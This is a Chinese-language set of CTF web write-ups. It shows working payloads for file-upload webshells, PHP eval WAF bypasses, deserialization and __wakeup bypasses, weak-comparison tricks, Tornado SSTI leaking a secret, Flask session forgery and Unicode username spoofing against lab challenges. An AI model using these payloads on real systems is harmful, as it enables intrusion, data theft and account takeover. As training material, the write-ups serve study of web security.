验证了后缀名,要求上传 jpg、png、gif 结尾的图片,写一句话木马上传,一开始只能是图片的后缀,抓包改后缀为 phtml
,文件内容如下
GFI89a
上传成功,显示
Upload Success! Look here~ ./uplo4d/fc7cad21c9c68a7847837cf3c194f78d.phtml
直接菜刀连虚拟终端,在根目录找到 flag
[/var/www/html/uplo4d/]$ cat /flag
flag{31e6e516-3132-41c2-850c-bc2751782fcc}
打开网页发现是个计算器,查看源码
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`
答案:${data}
`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
script>
发现请求地址 calc.php
,转过去
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
大意是过滤了部分字符串,最后执行eval('echo '.$str.';');
尝试
输入:url/calc.php?num=1
显示:1
输入:url/calc.php?num=1‘
显示:what are you want to do?
输入:url/calc.php?num=phpinfo()
显示:Forbidden
本题利用php字符串特性来绕过 waf,构造参数 ? num=phpinfo()
(前面有个空格,加了空格来绕过 waf)
url/calc.php? num= phpinfo()
这样就能访问了
构造 url/calc.php? num=var_dump(scandir(chr(47)))
注:
chr(47): 由于 ”/“ 被过滤了,因此可以使用 chr(47) 来表示
scandir(dir): 列出参数目录中的文件和目录
var_dump(): 用于输出变量的相关信息。
返回结果是一个数组,我们找到 f1agg
array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" ...
读取
url/calc.php? num=var_dump(scandir(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
直接本地查 ASCII 码
python ord('f')
f ==> chr(102)
1 ==> chr(49)
a ==> chr(97)
g ==> chr(103)
g ==> chr(103)
用 '.' 拼接
显示:bool(false)
使用 file_get_contents()
获取内容
url/calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
得到 flag
flag{e90e9074-fb17-4366-863f-bc8e4e1c1579}
CTF/PHP特性汇总
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
假如 waf 不允许num变量传递字母,那可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”,但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
参考
网站说到文件备份,需要爆网站目录,一般使用 Dirsearch工具(或者御剑)
介绍
Dirsearch 是一款基于 python3 的目录爆破工具,支持 Win、Mac、Linux 系统。当对目标网站渗透测试时,第一步应该是找到易受攻击网站的隐藏目录。比较快捷的攻击方法之一就是采用暴力猜解网站目录及结构,其中包括网站中的目录、备份文件、编辑器、后台等敏感目录。
Dirsearch 是一个命令行网站目录扫描程序
- 支持多线程扫描、http 代理
- 能够检测无效网页
- 支持请求延迟
- 执行递归暴力破解
常规使用方式
./dirsearch.py -u [URL] -e[LANGUAGE] -h: 帮助菜单 -u: 指定 url -e: 指定网站语言,如 php, asp -w: 可以加上自己的字典 -w [PATH] -x: 排除指定响应码,如 -x 403,302,301 -r: 递归跑(查到一个目录后在目录中反复跑,非常耗时,不建议用) -R: 递归深度级别,比如 -R 3 -s: 延迟时间(秒)扫描太快出现 429 状态码
更多参数请见博客
注:在初次运行前可能要提示安装几个模块
pip3 install chardet
pip3 install cryptography
pip3 install markupsafe
.\dirsearch.py -u http://2f8a0fb4-8547-4ac5-a12b-91570200358a.node4.buuoj.cn:81/ -e php
扫描结果,状态为 200 的
[09:48:32] 200 - 2KB - /index.php/login/
[09:52:40] 200 - 6KB - /www.zip
第一个直接访问发现是一个页面没有什么特殊的,第二个压缩文件应该是网站的备份文件,下载打开,其中 flag.php
没有发现什么,但在 index.php
中
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
意思是,包含了 class.php
,get 传递了一个 select 参数,对这个参数的值进行反序列化,打开 class.php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "NO!!!hacker!!!";
echo "You name is: ";
echo $this->username;echo "";
echo "You password is: ";
echo $this->password;echo "";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "hello my friend~~sorry i can't give you the flag!";
die();
}
}
}
?>
这段代码的重点在于 __destruct()
函数,如果 password=100 && username=admin 那就能获取 flag,因此需要构造 Name('admin',100)
这个对象并得到它序列化后的结果(为的是序列化后再反序列化),以下是 a.php
文件内容
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
命令行运行 php a.php
,得到结果
string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"
注
O是对象,s是字符串,i是数字
另一个问题是,在反序列化的时候,会首先执行 __wakeup()
魔术方法,该方法将 username 重新赋值,所以需要考虑如何绕过 __wakeup()
,直接执行 __destruct
绕过 __wakeup()
的一种方式是,当属性个数(的值)大于实际属性个数时,会跳过该函数的执行(Name 后跟的是该类中包含的属性个数,如果和实际属性个数不符就跳过),因此我们可以将序列化字符串中 Name 的属性个数改一下
原来:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
修改:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
尝试了发现不行,查找资料发现,由于 username 和 password 属性是私有的,私有属性在序列化时,类名和属性名前面都会加上%00
的前缀。(这里的username 和 password都为私有成员。理论上序列化后应该会有所不同,但实际上却没变化。)
因此我们需要修改为
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
构造
url/index.php?select=上述字符串
得到 flag{249f9494-31ed-4767-8c66-07f58c6cc518}
__wakeup()
魔法函数绕过,利用修改类中属性个数绕过
- public:属性被序列化的时候属性名还是原来的属性名,没有任何改变
- protected:属性被序列化的时候属性名会变成%00*%00属性名,长度跟随属性名长度而改变
- private:属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变
private在序列化中类名和字段名前都要加上ASCII 码为 0 的字符(不可见字符),如果我们直接复制结果,该空白字符会丢失。所以可以用前面说加%00的目的就是用于替代\0
public、protected、private运行输出结果空白字符直接丢失 O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;} O:4:"Name":2:{s:11:"*username";s:5:"admin";s:11:"*password";i:100;} O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
题目名为备份文件,首先就用 Dirsearch 扫描网站(或者用[御剑[(https://github.com/foryujian/yjdirscan)),
用的 dirsearch 一开始没有使用间隔导致都是 429,使用-s
参数
$ ./dirsearch.py -u http://cba7ad9b-d8a9-434b-84d4-34686df6bc57.node4.buuoj.cn:81/ -e php -s 1 -x 429
扫描得到状态码 200 中有一条
[15:55:54] 200 - 347B - /index.php.bak
下载,去掉 bak 后缀打开
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
大意是如果 key
首先是数字,然后通过 intval()
函数获取值,key
值等于123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3 才能得到 flag
intval() 函数用于获取变量的整数值。
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
此处 PHP 两个等号是弱等号,也就是说,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行,在比较时该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
因此直接传入 key=123
就行
http://cba7ad9b-d8a9-434b-84d4-34686df6bc57.node4.buuoj.cn:81/index.php?key=123
得 flag{f2363a27-783b-4009-85b1-d85734249870}
PHP 弱类型总结
php中有两种比较的符号 ==
与 ===
==
在进行比较的时候,会先将字符串类型转化成相同类型,再比较。如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行(从开头转数字)===
在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
var_dump("admin" == 0); // true
var_dump("1admin" == 1); // true
var_dump("admin1" == 1); // false
var_dump("admin1"==0); // true
var_dump("0e123456"=="0e4456789"); // true
?>
点进去,三个文件
/flag.txt ==> flag in /fllllllllllllag
/welcome.txt ==> render
/hints.txt ==> md5(cookie_secret+md5(filename))
第一条文件说明 fllllllllllllag
所在的文件夹,第三条说明 文件名被加密了
其次,观察 url,点开来每个文件对应的 url 分别为
xxx/file?filename=/flag.txt&filehash=080ec5e66dcbddff249f48f4f230ca95
xxx/file?filename=/welcome.txt&filehash=82fbaf1f7b4ec1de52dfc602107161ca
xxx/file?filename=/hints.txt&filehash=5dde05c5c8d3b0dcce24c5ed02a9c4a8
因此,我们如果想读取文件内容,payload 大致为
xxx/file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
此时就缺少 cookie_secret
,通过源码和请求头并没有看到任何的 cookie_secret
信息,直接修改 filename=fllllllllllllag
得到信息
xxx/error?msg=Error
打开/welcome.txt 提示 render,即渲染函数(tornado render 是 py 中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对 render 内容可控,不仅可以注入 XSS 代码,而且还可以通过 {undefined{}}
进行传递变量和执行简单的表达式。)
与 render 相关的是 SSTI
模版注入
于是尝试
/error?msg={{1}} ==> 页面出现 1
error?msg={{2*3}} ==> 页面出现 ORZ,说明操作符被过滤了
在 tornado
模板中,存在一些可以访问的快速对象,这里用到的是 handler.settings
,handler 指向 RequestHandler,而 RequestHandler.settings 又指向 self.application.settings ,所以 handler.settings 就指向 RequestHandler.application.settings了,这里面就是我们的一些环境变量
/error?msg={{handler.settings}}
得 {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '732179aa-636f-4bfb-a33f-085528637ade'}
拼接得到 flag
import hashlib
filename = '/fllllllllllllag'
cookie_secret = 'e4bc8698-eeeb-4f81-bf8f-f7e537e76ea9'
def get_md5(s):
m = hashlib.md5()
# py3 下字符串为 Unicode 类型,而 hash 传递时需要的是 utf-8 类型,因此需要类型转换
m.update(str(s).encode('utf-8'))
return m.hexdigest()
print(get_md5(cookie_secret + get_md5(filename)))
xxx/file?filename=/fllllllllllllag&filehash=d00c2d02aece775c7194f95994978519
得 flag{d2b3389c-0d7a-438a-996e-3f79d420cd6f}
SSTI
查看源码,发现 pay.php
,点进去提示
If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!
FLAG NEED YOUR 100000000 MONEY
实际上告诉我们三个需要解决的点
解决 password。抓包,发现注释 ,
大意是,如果 password 是数字,则不能通过,但如果 password
是 404,则正确,也就是这里需要绕过,绕过有两种方式,第一种是直接利用弱等号原理,构造404abc
,第二种方式是绕过 is_numeric()
is_numeric()用于检测变量是否为数字或数字字符串,若变量是数字和数字字符串则返回 true
这个函数本身没有什么问题,但是和 mysql 结合起来就容易出问题,is_numeric判断的时候,当碰到16进制数的时候,也会判断成数字,而在mysql中,插入0x开头的16进制数的时候,会自动转成字符插入
对于空字符 %00,无论是 %00放在前后都可以判断为非数值,参考
%20空格字符只能放在数值后。原理是对于第一个空格字符会跳过空格字符再判断
其他绕过方式见博客
因此,这个题要求password不能是数字,且为404,只要构造 password=404%20
解决 user 和 money
观察我们抓取的包里面cookie的值有个 user=0
,CTF直觉这肯定要改成 1
的 因为正常情况下这里是 cookie 的值,因此我们构造 POST 请求,参考
xxx/pay.php?password=404a&money=100000000
提示money的值太长,这里可以构造 money=10e8
绕过
you are Cuiter
Password Right!
you have not enough money,loser~
第二种方式是,应该是对字符进行了判断,对字符处理的函数在PHP漏洞中非常常见,使用数组进行传参发现即可跳过判断,其实利用了 strcmp()
漏洞
strcmp() 函数比较两个字符串
如果传入的值,不是字符串的话,会报错,同时使得两个字符串直接相等,返回为零。 一般传入数组或者对象。
因此也可以构造 money[]=1
绕过
flag{b5267cdf-3a1b-45c7-a69a-a0fc50c35232}
is_numeric()
绕过strcmp()
绕过==
弱等号这个题,点进去首先尝试页面的一些功能,注册个用户,每一步都查看下源码,在 change password
这一步查看源码,有一句注释
这是 github 泄漏,查看源码,在 app/templates/index.html
中发现
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}h1>
{% endif %}
<h1 class="nav">Welcome to hctfh1>
{% include('footer.html') %}
其中关键一句话是
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}h1>
猜想,用户是放在 cookie 里的,需要伪造 session['name'] == 'admin'
后会在页面显示 flag。
flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
可参考
由于猜想,用户是放在 cookie 里的,因此我们取 session 解密,session 解密工具需要用到 flask-session-cookie-manager
脚本,下载地址,它需要依赖 flask
和 itsdangerous
,直接,使用方式
python3 flask_session_cookie_manager3.py decode -c ".eJw9kE2LwjAYhP_KkrOHbtSL4GGXaGnhTWhJN7y5iFtr23y40FYaK_737criaQYeGGbmTg7nruobshm6a7Ugh_ZENnfy9k02RLNy5MxZrVKDdN-iLAPI3Os4W-L0EYGsg2AZFTGOIt43QuYNZ3aJfnfjNFtxU4w8Tls09RooBq6KWYFq4yzIZNQsWWv_ZcGUo2DOg9EeKXdc2omzpuFqF9BoA-yzFay8IU2CliVFk7ZCFdHMLMo_D1vyWJCy786H4cdWl9cEmJDiVFOhkrlWcUN5auYqI5-SIFTqQMKK0yLoGNbAnBMqb3S9fca1_lhXr6TM6Dz_J5ejnwEZqn4gC3Ltq-55G3mPyOMXUZxtiw.YbBGlw.E5eoQBYxhmprjwYQUZ48KbrG4uw"
注
-s , --secret-key ,解码也可以指定 key,也可以不指定
-c , --cookie-value
得到
b'{"_fresh":true,"_id":{" b":"ZDcwNDlkZWJjY2FiYTcxMTRmZGQ3YzA0MTgxODQ2OGYwOGFhOTRhNDk3YmEyN2Q4NjUwNGJiYjg5M2YxNWU5M2M2ZjlkMTIwZDI5ZmVkMjcwODlmMjZmY2NlNTkzNDhhNWExYjZjMDBiODcyY2IxZTc2YjJiOWU0YjZkYTJiOWM="},"csrf_token":{" b":"MzY2Yzg2OWI3YmUyYTdhM2YwNzIxOWJlMTM4N2UxZGM5MDllOWRhZg=="},"image":{" b":"QjZRRg=="},"name":"test","user_id":"10"}'
因此我们只需要伪造
{"name":"admin","user_id":"10"}
但如果我们想要加密伪造生成自己想要的 session
还需要知道 session key
,也即 会话密钥,它是保证用户跟其它计算机或者两台计算机之间安全通信会话而随机产生的加密和解密密钥,为此我们需要找到这个 key。先看路由 routes.py
内容,没什么发现,再看 config.py
,破解 session 中的 key
import os
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
其中 SECRET_KEY
可以为 ckj123
我们利用 flask-session-cookie-manager
encode
$ python3 flask_session_cookie_manager3.py encode -s 'ckj123' -t '{"name":"admin","user_id":"10"}'
eyJuYW1lIjoiYWRtaW4iLCJ1c2VyX2lkIjoiMTAifQ.YbBlOQ.Lu5zZE7iCV3HQ0XM8sWrMObrUbk
注
-s , --secret-key
-t , --cookie-structure
在 change password 页面尝试修改密码,直接F12,在控制台中 Application->Storage->Cookies
修改 cookie 值为上述计算结果,点击更改密码得到 flag
Hello admin
flag{065ed396-c398-4cce-af63-39a24afb70e8}
Welcome to hctf
审计代码
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
很明显有个 strlower()
这是他自己写的
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
def strlower(username):
username = nodeprep.prepare(username)
return username
这个库的版本在 requirements.txt
中为10.2.0
,搜一下发现是低版本,存在 unicode 欺骗
我们注册 admin
提示用户已注册,此时利用欺骗,去 unicode-table.com
搜索 letter captial A
,得到 ᴬ
(地址),
如果注册时候输入的是 ᴬdmin
,注册登陆,发现数据库里存入的是 Admin
,那当我 change password 的时候,得到的是 Admin ==> admin
,也就是说,我们修改的是 admin
的密码
if request.method == 'POST':
# Admin ==> admin
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
修改完直接拿 admin 登陆得到 flag
flask-session-cookie-manager
脚本伪造 cookie 值HCTF2018-admin
讲解视频
看题目,猜测是和序列化有关的题,打开发现是一段 php 源码,需要我们做代码审计。首先搜索 serialize()
相关函数,找到 unserialize()
。
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
和 is_valid()
函数相关,查看,发现没有太多信息
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
查看类,类中几个函数解读
__construct()
:构造函数,php 序列化的时候会调用该方法,初始化 op、filename、content
三个值,接着调用 process()
方法
process()
:判断 op
,如果为 1,则执行写方法 write,如果为 2,则执行读方法 read,为其他则返回 bad hacker
。我们希望的是读取出 flag.php
,所以猜测需要设定 op=2
。read()
还调用了 output()
output()
:直接输出 result
read()
:普通的读方法
__destruct()
:析构函数,允许在销毁一个类之前执行的一些操作或完成一些功能,比如说关闭文件, 释放结果集等。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,也就是对象在内存中被销毁前调用析构函数,参考。那当我们创建完要序列化的对象时不执行其他操作,则会自动调用该方法,如果我们设置 op=2
,则会被改为 1,需要绕过
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
确定的点
op=2
filename=flag.php
绕过 $this->op === "2" 在前面加个空格即可 %20
class FileHandler{
public $op = ' 2';
public $filename = 'flag.php';
public $content = '';
}
$a = new FileHandler();
echo serialize($a);
?>
结果
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
直接构造 payload
xxx/?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
底部出现了个 [Result]:
,查看源码得到 flag
$flag='flag{a53eac92-ac32-4ebd-acc5-d107d006eae4}';